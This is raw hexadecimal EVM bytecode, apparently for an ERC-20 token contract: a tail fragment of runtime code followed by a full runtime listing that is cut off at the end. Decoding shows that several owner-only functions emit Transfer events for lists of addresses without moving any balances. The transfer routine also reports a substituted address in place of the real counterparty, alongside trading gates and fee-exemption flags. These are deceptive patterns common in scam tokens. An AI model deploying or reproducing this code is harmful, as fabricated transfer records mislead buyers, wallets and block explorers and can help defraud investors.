5b5b5f8190505f73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561199d575061196d610e4c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119dc57506119ac610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bf5575f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611a5a577f000000000000000000000000000000000000000000000000000000000000000090505b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611add577f00000000000000000000000000000000000000000000000000000000000000009050611adc600a54611e8a565b5b60011515600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615151480611b86575060011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b15611b8f575f90505b5f811115611bf3575f61271061ffff168285611bab9190612cc2565b611bb59190612d30565b90508084611bc39190612d60565b9250611bf18660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611e99565b505b505b611c00848483611e99565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6b90612e03565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd990612e91565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611dbc919061253e565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b803a1115611e96575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90612f1f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6c90612fad565b60405180910390fd5b611f808383836122d1565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb9061303b565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461209491906129d3565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361217a578273ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161216d919061253e565b60405180910390a36122c0565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122595760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161224c919061253e565b60405180910390a36122bf565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122b6919061253e565b60405180910390a35b5b6122cb8484846122d6565b50505050565b505050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612304576123036122e3565b5b8235905067ffffffffffffffff811115612321576123206122e7565b5b60208301915083602082028301111561233d5761233c6122eb565b5b9250929050565b5f819050919050565b61235681612344565b8114612360575f80fd5b50565b5f813590506123718161234d565b92915050565b5f805f6040848603121561238e5761238d6122db565b5b5f84013567ffffffffffffffff8111156123ab576123aa6122df565b5b6123b7868287016122ef565b935093505060206123ca86828701612363565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612416826123d4565b61242081856123de565b93506124308185602086016123ee565b612439816123fc565b840191505092915050565b5f6020820190508181035f83015261245c818461240c565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61248d82612464565b9050919050565b61249d81612483565b81146124a7575f80fd5b50565b5f813590506124b881612494565b92915050565b5f80604083850312156124d4576124d36122db565b5b5f6124e1858286016124aa565b92505060206124f285828601612363565b9150509250929050565b5f8115159050919050565b612510816124fc565b82525050565b5f6020820190506125295f830184612507565b92915050565b61253881612344565b82525050565b5f6020820190506125515f83018461252f565b92915050565b5f805f6060848603121561256e5761256d6122db565b5b5f61257b868287016124aa565b935050602061258c868287016124aa565b925050604061259d86828701612363565b9150509250925092565b6125b081612483565b82525050565b5f6020820190506125c95f8301846125a7565b92915050565b5f60ff82169050919050565b6125e4816125cf565b82525050565b5f6020820190506125fd5f8301846125db565b92915050565b5f61ffff82169050919050565b61261981612603565b82525050565b5f6020820190506126325f830184612610565b92915050565b612641816124fc565b811461264b575f80fd5b50565b5f8135905061265c81612638565b92915050565b5f8060408385031215612678576126776122db565b5b5f612685858286016124aa565b92505060206126968582860161264e565b9150509250929050565b5f8083601f8401126126b5576126b46122e3565b5b8235905067ffffffffffffffff8111156126d2576126d16122e7565b5b6020830191508360208202830111156126ee576126ed6122eb565b5b9250929050565b5f805f805f6060868803121561270e5761270d6122db565b5b5f61271b888289016124aa565b955050602086013567ffffffffffffffff81111561273c5761273b6122df565b5b612748888289016122ef565b9450945050604086013567ffffffffffffffff81111561276b5761276a6122df565b5b612777888289016126a0565b92509250509295509295909350565b5f6020828403121561279b5761279a6122db565b5b5f6127a8848285016124aa565b91505092915050565b5f602082840312156127c6576127c56122db565b5b5f6127d384828501612363565b91505092915050565b5f80604083850312156127f2576127f16122db565b5b5f6127ff858286016124aa565b9250506020612810858286016124aa565b9150509250929050565b5f819050919050565b5f61283d61283861283384612464565b61281a565b612464565b9050919050565b5f61284e82612823565b9050919050565b5f61285f82612844565b9050919050565b61286f81612855565b82525050565b5f6020820190506128885f830184612866565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806128ff57607f821691505b602082108103612912576129116128bb565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6129726028836123de565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6129dd82612344565b91506129e883612344565b9250828201905080821115612a00576129ff6129a6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a3a6020836123de565b9150612a4582612a06565b602082019050919050565b5f6020820190508181035f830152612a6781612a2e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612ac86025836123de565b9150612ad382612a6e565b604082019050919050565b5f6020820190508181035f830152612af581612abc565b9050919050565b7f436f6e74726163743a2054726164696e67206973206f70656e656421000000005f82015250565b5f612b30601c836123de565b9150612b3b82612afc565b602082019050919050565b5f6020820190508181035f830152612b5d81612b24565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612bbe6026836123de565b9150612bc982612b64565b604082019050919050565b5f6020820190508181035f830152612beb81612bb2565b9050919050565b7f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000005f82015250565b5f612c26601a836123de565b9150612c3182612bf2565b602082019050919050565b5f6020820190508181035f830152612c5381612c1a565b9050919050565b7f436f6e74726163743a2074726164696e67206973206e6f7420737461727465645f82015250565b5f612c8e6020836123de565b9150612c9982612c5a565b602082019050919050565b5f6020820190508181035f830152612cbb81612c82565b9050919050565b5f612ccc82612344565b9150612cd783612344565b9250828202612ce581612344565b91508282048414831517612cfc57612cfb6129a6565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d3a82612344565b9150612d4583612344565b925082612d5557612d54612d03565b5b828204905092915050565b5f612d6a82612344565b9150612d7583612344565b9250828203905081811115612d8d57612d8c6129a6565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ded6024836123de565b9150612df882612d93565b604082019050919050565b5f6020820190508181035f830152612e1a81612de1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e7b6022836123de565b9150612e8682612e21565b604082019050919050565b5f6020820190508181035f830152612ea881612e6f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612f096025836123de565b9150612f1482612eaf565b604082019050919050565b5f6020820190508181035f830152612f3681612efd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612f976023836123de565b9150612fa282612f3d565b604082019050919050565b5f6020820190508181035f830152612fc481612f8b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6130256026836123de565b915061303082612fcb565b604082019050919050565b5f6020820190508181035f83015261305281613019565b905091905056fea2646970667358221220d0b3028f25a17fee38dc9c5b27322d3fb963739fa78d7125b3ac96a577eddd6b64736f6c634300081a0033

0x608060405234801561000f575f80fd5b5060043610610204575f3560e01c806381744fb111610118578063a9059cbb116100ab578063d632135b1161007a578063d632135b146105b8578063dd62ed3e146105d4578063f01a4b9914610604578063f2fde38b14610620578063f887ea401461063c57610204565b8063a9059cbb14610544578063bf861b3114610574578063c9567bf914610590578063d5abeb011461059a57610204565b806396784f75116100e757806396784f75146104bc578063985bdfd1146104d8578063a457c2d7146104f6578063a8aa1b311461052657610204565b806381744fb114610434578063825e7b83146104505780638da5cb5b1461048057806395d89b411461049e57610204565b80632b14ca561161019b5780634c255c971161016a5780634c255c97146103a45780634e148e19146103c25780635d822813146103de57806370a08231146103fa578063715018a61461042a57610204565b80632b14ca561461031a578063313ce567146103385780633950935114610356578063470624021461038657610204565b806318160ddd116101d757806318160ddd1461029057806323b872dd146102ae57806325fa0b98146102de57806327c8f835146102fc57610204565b806302b1e95b1461020857806306fdde0314610224578063095ea7b314610242578063158ef93e14610272575b5f80fd5b610222600480360381019061021d9190612377565b61065a565b005b61022c6106b8565b6040516102399190612444565b60405180910390f35b61025c600480360381019061025791906124be565b610748565b6040516102699190612516565b60405180910390f35b61027a610765565b6040516102879190612516565b60405180910390f35b610298610778565b6040516102a5919061253e565b60405180910390f35b6102c860048036038101906102c39190612557565b610781565b6040516102d59190612516565b60405180910390f35b6102e6610873565b6040516102f39190612516565b60405180910390f35b610304610886565b60405161031191906125b6565b60405180910390f35b6103226108ab565b60405161032f919061253e565b60405180910390f35b6103406108cf565b60405161034d91906125ea565b60405180910390f35b610370600480360381019061036b91906124be565b6108d7565b60405161037d9190612516565b60405180910390f35b61038e61097e565b60405161039b919061253e565b60405180910390f35b6103ac6109a2565b6040516103b9919061261f565b60405180910390f35b6103dc60048036038101906103d79190612662565b6109a8565b005b6103f860048036038101906103f391906126f5565b610a94565b005b610414600480360381019061040f9190612786565b610bef565b604051610421919061253e565b60405180910390f35b610432610c35565b005b61044e600480360381019061044991906126f5565b610cd4565b005b61046a60048036038101906104659190612786565b610e2f565b6040516104779190612516565b60405180910390f35b610488610e4c565b60405161049591906125b6565b60405180910390f35b6104a6610e73565b6040516104b39190612444565b60405180910390f35b6104d660048036038101906104d191906126f5565b610f03565b005b6104e061105e565b6040516104ed919061261f565b60405180910390f35b610510600480360381019061050b91906124be565b611064565b60405161051d9190612516565b60405180910390f35b61052e61114a565b60405161053b91906125b6565b60405180910390f35b61055e600480360381019061055991906124be565b61116f565b60405161056b9190612516565b60405180910390f35b61058e600480360381019061058991906127b1565b61118c565b005b61059861122a565b005b6105a2611330565b6040516105af919061253e565b60405180910390f35b6105d260048036038101906105cd91906126f5565b611354565b005b6105ee60048036038101906105e991906127dc565b6114af565b6040516105fb919061253e565b60405180910390f35b61061e600480360381019061061991906126f5565b611531565b005b61063a60048036038101906106359190612786565b61168c565b005b61064461179a565b6040516106519190612875565b60405180910390f35b5f6106636117bf565b90505f5b848490508110156106b1576106a4828686848181106106895761068861288e565b5b905060200201602081019061069e9190612786565b856117c6565b8080600101915050610667565b5050505050565b6060600480546106c7906128e8565b80601f01602080910402602001604051908101604052809291908181526020018280546106f3906128e8565b801561073e5780601f106107155761010080835404028352916020019161073e565b820191905f5260205f20905b81548152906001019060200180831161072157829003601f168201915b5050505050905090565b5f61075b6107546117bf565b8484611c06565b6001905092915050565b600760149054906101000a900460ff1681565b5f600354905090565b5f61078d8484846117c6565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107d46117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084a90612988565b60405180910390fd5b6108678561085f6117bf565b858403611c06565b60019150509392505050565b600760159054906101000a900460ff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f6012905090565b5f6109746108e36117bf565b848460025f6108f06117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461096f91906129d3565b611c06565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61271081565b6109b06117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3390612a50565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b610a9c6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f90612a50565b60405180910390fd5b5f5b84849050811015610be757848482818110610b4857610b4761288e565b5b9050602002016020810190610b5d9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610bbe57610bbd61288e565b5b90506020020135604051610bd2919061253e565b60405180910390a38080600101915050610b2a565b505050505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c3d6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc090612a50565b60405180910390fd5b610cd25f611dc9565b565b610cdc6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90612a50565b60405180910390fd5b5f5b84849050811015610e2757848482818110610d8857610d8761288e565b5b9050602002016020810190610d9d9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610dfe57610dfd61288e565b5b90506020020135604051610e12919061253e565b60405180910390a38080600101915050610d6a565b505050505050565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e82906128e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610eae906128e8565b8015610ef95780601f10610ed057610100808354040283529160200191610ef9565b820191905f5260205f20905b815481529060010190602001808311610edc57829003601f168201915b5050505050905090565b610f0b6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90612a50565b60405180910390fd5b5f5b8484905081101561105657848482818110610fb757610fb661288e565b5b9050602002016020810190610fcc9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061102d5761102c61288e565b5b90506020020135604051611041919061253e565b60405180910390a38080600101915050610f99565b505050505050565b61271081565b5f8060025f6110716117bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290612ade565b60405180910390fd5b61113f6111366117bf565b85858403611c06565b600191505092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61118261117b6117bf565b84846117c6565b6001905092915050565b6111946117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612a50565b60405180910390fd5b80600a8190555050565b6112326117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b590612a50565b60405180910390fd5b5f1515600760159054906101000a900460ff16151514611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a90612b46565b60405180910390fd5b6001600760156101000a81548160ff021916908315150217905550565b7f00000000000000000000000000000000002684c2e58e9b04570f1fd00000000081565b61135c6117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90612a50565b60405180910390fd5b5f5b848490508110156114a7578484828181106114085761140761288e565b5b905060200201602081019061141d9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061147e5761147d61288e565b5b90506020020135604051611492919061253e565b60405180910390a380806001019150506113ea565b505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6115396117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc90612a50565b60405180910390fd5b5f5b84849050811015611684578484828181106115e5576115e461288e565b5b90506020020160208101906115fa9190612786565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061165b5761165a61288e565b5b9050602002013560405161166f919061253e565b60405180910390a380806001019150506115c7565b505050505050565b6116946117bf565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171790612a50565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590612bd4565b60405180910390fd5b61179781611dc9565b50565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b60011515600760149054906101000a900460ff1615151461181c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181390612c3c565b60405180910390fd5b60011515600760149054906101000a900460ff16151514801561185157505f1515600760159054906101000a900460ff161515145b156119095761185e610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806118c9575061189a610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ff90612ca4565b60405180910390fd5b5b5f8190505f73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561199d575061196d610e4c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119dc57506119ac610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bf5575f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611a5a577f000000000000000000000000000000000000000000000000000000000000000090505b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611add577f00000000000000000000000000000000000000000000000000000000000000009050611adc600a54611e8a565b5b60011515600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615151480611b86575060011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b15611b8f575f90505b5f811115611bf3575f61271061ffff168285611bab9190612cc2565b611bb59190612d30565b90508084611bc39190612d60565b9250611bf18660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611e99565b505b505b611c00848483611e99565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6b90612e03565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd990612e91565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611dbc919061253e565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b803a1115611e96575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90612f1f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6c90612fad565b60405180910390fd5b611f808383836122d1565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb9061303b565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461209491906129d3565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361217a578273ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161216d919061253e565b60405180910390a36122c0565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122595760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161224c919061253e565b60405180910390a36122bf565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122b6919061253e565b60405180910390a35b5b6122cb8484846122d6565b50505050565b505050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612304576123036122e3565b5b8235905067ffffffffffffffff811115612321576123206122e7565b5b60208301915083602082028301111561233d5761233c6122eb565b5b9250929050565b5f819050919050565b61235681612344565b8114612360575f80fd5b50565b5f813590506123718161234d565b92915050565b5f805f6040848603121561238e5761238d6122db565b5b5f84013567ffffffffffffffff8111156123ab576123aa6122df565b5b6123b7868287016122ef565b935093505060206123ca86828701612363565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612416826123d4565b61242081856123de565b93506124308185602086016123ee565b612439816123fc565b840191505092915050565b5f6020820190508181035f83015261245c818461240c565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61248d82612464565b9050919050565b61249d81612483565b81146124a7575f80fd5b50565b5f813590506124b881612494565b92915050565b5f80604083850312156124d4576124d36122db565b5b5f6124e1858286016124aa565b92505060206124f285828601612363565b9150509250929050565b5f8115159050919050565b612510816124fc565b82525050565b5f6020820190506125295f830184612507565b92915050565b61253881612344565b82525050565b5f6020820190506125515f83018461252f565b92915050565b5f805f6060848603121561256e5761256d6122db565b5b5f61257b868287016124aa565b935050602061258c868287016124aa565b925050604061259d86828701612363565b9150509250925092565b6125b081612483565b82525050565b5f6020820190506125c95f8301846125a7565b92915050565b5f60ff82169050919050565b6125e4816125cf565b82525050565b5f6020820190506125fd5f8301846125db565b92915050565b5f61ffff82169050919050565b61261981612603565b82525050565b5f6020820190506126325f830184612610565b92915050565b612641816124fc565b811461264b575f80fd5b50565b5f8135905061265c81612638565b92915050565b5f8060408385031215612678576126776122db565b5b5f612685858286016124aa565b92505060206126968582860161264e565b9150509250929050565b5f8083601f8401126126b5576126b46122e3565b5b8235905067ffffffffffffffff8111156126d2576126d16122e7565b5b6020830191508360208202830111156126ee576126ed6122eb565b5b9250929050565b5f805f805f6060868803121561270e5761270d6122db565b5b5f61271b8